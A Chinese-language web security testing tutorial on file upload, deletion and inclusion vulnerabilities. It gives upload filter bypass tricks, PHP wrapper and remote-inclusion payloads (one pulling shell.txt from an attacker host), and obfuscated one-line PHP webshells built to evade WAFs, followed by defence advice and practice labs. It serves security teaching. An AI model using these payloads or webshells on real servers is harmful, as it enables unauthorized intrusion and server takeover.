聊聊安全测试中如何快速搞定Webshell
字数 2321 2025-08-18 11:38:32
Web安全测试:文件操作漏洞与Webshell绕过技术详解
一、文件操作漏洞类型概述
在Web安全测试中,文件操作相关漏洞主要分为四大类:
- 任意文件上传:未校验文件类型或存在绕过漏洞的上传功能
- 任意文件下载:允许用户读取或下载服务器任意文件
- 任意文件删除:未授权或权限控制不当的文件删除功能
- 任意文件读取:包含文件内容泄露或文件包含漏洞
二、文件上传漏洞突破技术
2.1 前端限制绕过
- 禁用JavaScript
- 去除input标签的accept属性
- 使用Burp Suite等工具直接修改上传请求
2.2 文件后缀名绕过技术
-
黑名单绕过:
- 使用非常见后缀:
.php3,.php4,.php5,.phtml - 大小写混用:
.pHp,.PhP - 双后缀名:
shell.php.jpg - 空格后缀:
shell.php(末尾加空格)
- 使用非常见后缀:
-
特殊字符截断:
- NULL截断:
shell.php%00.jpg - Windows文件流:
shell.php::$DATA - 特殊符号:
shell.<<<,shell.>>>,shell.>><
- NULL截断:
-
解析漏洞利用:
- Apache换行解析(2.4.0-2.4.29):
shell.php%0A.jpg - IIS6.0分号解析:
shell.asp;.jpg - Nginx文件名逻辑漏洞
- Apache换行解析(2.4.0-2.4.29):
2.3 文件内容绕过技术
-
Content-Type修改:
- 修改为合法类型:
Content-Type: image/png
- 修改为合法类型:
-
图片马制作:
- 命令行合并:
copy /b test.jpg + shell.php output.jpg - 使用工具重绘图片包含恶意代码
- 命令行合并:
-
压缩包利用:
- 上传包含Webshell的ZIP文件
- 配合PHP伪协议执行:
zip://path/to/file.zip%23shell.php
2.4 条件竞争绕过
利用文件上传与删除/重命名的时间差:
- 快速连续上传同一文件
- 在删除前访问上传的文件
三、文件删除漏洞利用
3.1 常见存在场景
- 用户删除头像/附件
- 管理员删除插件/模板
- 数据库备份文件删除
3.2 利用方式
- 直接构造删除请求:
unlink()函数利用 - 配合CSRF漏洞实现管理员权限删除
- 路径遍历删除关键文件:
../config.php
四、文件读取/包含漏洞利用
4.1 PHP伪协议利用
-
文件包含执行:
- 直接包含图片马:
?file=upload/shell.jpg&cmd=whoami
- 直接包含图片马:
-
读取文件内容:
- Base64编码读取:
php://filter/read=convert.base64-encode/resource=config.php
- Base64编码读取:
-
压缩包执行:
zip://path/to/archive.zip%23shell.phpphar://path/to/archive.phar/shell.php
-
远程文件包含:
http://attacker.com/shell.txt- 需
allow_url_include开启
4.2 敏感文件枚举
常见可读取的敏感文件:
- 备份文件:
.bak,.swp,.swo - 版本控制:
.git/,.svn/ - 配置文件:
config.php,database.ini - 日志文件:
access.log,error.log
五、WAF/防护系统绕过
5.1 基于后缀的防护绕过
- 测试所有可能的后缀变体
- 使用罕见后缀或双重后缀
- 尝试不同编码方式
5.2 基于内容的防护绕过
-
代码混淆技术:
- 拆分关键词:
<?php $x="ass"; $y="ert"; $y($x);?> - 编码转换:Base64、Hex、Rotor等
- 注释干扰:
<?php /*asdf*/eval/*qwer*/($_POST['x']);?>
- 拆分关键词:
-
动态调用技术:
- 变量函数:
$func = "assert"; $func($_POST['x']); - 回调函数:
array_map($_POST['f'], array($_POST['x']));
- 变量函数:
-
特殊语法利用:
- 反引号执行:
`$_POST['x']` - 短标签:
<?= $_POST['x'] ?>
- 反引号执行:
六、防御建议
-
上传防护:
- 使用白名单而非黑名单
- 文件内容严格校验(魔术字节)
- 重命名上传文件(随机名称+固定后缀)
- 限制上传目录执行权限
-
文件操作防护:
- 严格权限控制
- 操作前验证用户权限和文件归属
- 使用绝对路径而非相对路径
- 禁用危险函数(如
unlink())
-
文件包含防护:
- 禁用
allow_url_include - 固定包含文件路径
- 禁止用户输入控制包含路径
- 禁用
-
系统层面防护:
- 定期更新Web服务组件
- 配置严格的PHP安全设置
- 使用Web应用防火墙(WAF)
七、实战工具推荐
-
练习环境:
- Upload-labs:https://github.com/c0ny1/upload-labs
- DVWA (Damn Vulnerable Web Application)
-
测试工具:
- Burp Suite:拦截修改HTTP请求
- Webshell样本集:如"中国菜刀"变种
- 图片马制作工具
-
检测工具:
- 河马Webshell查杀
- D盾
- 安全狗
八、总结
文件操作漏洞是Web安全测试中的关键突破口,通过综合利用上传、删除、读取等漏洞,配合各种绕过技术,可以实现从漏洞发现到最终获取服务器权限的全过程。安全测试人员需要深入理解每种技术的原理和适用场景,同时防御方也需要采取多层次的安全措施来防范此类攻击。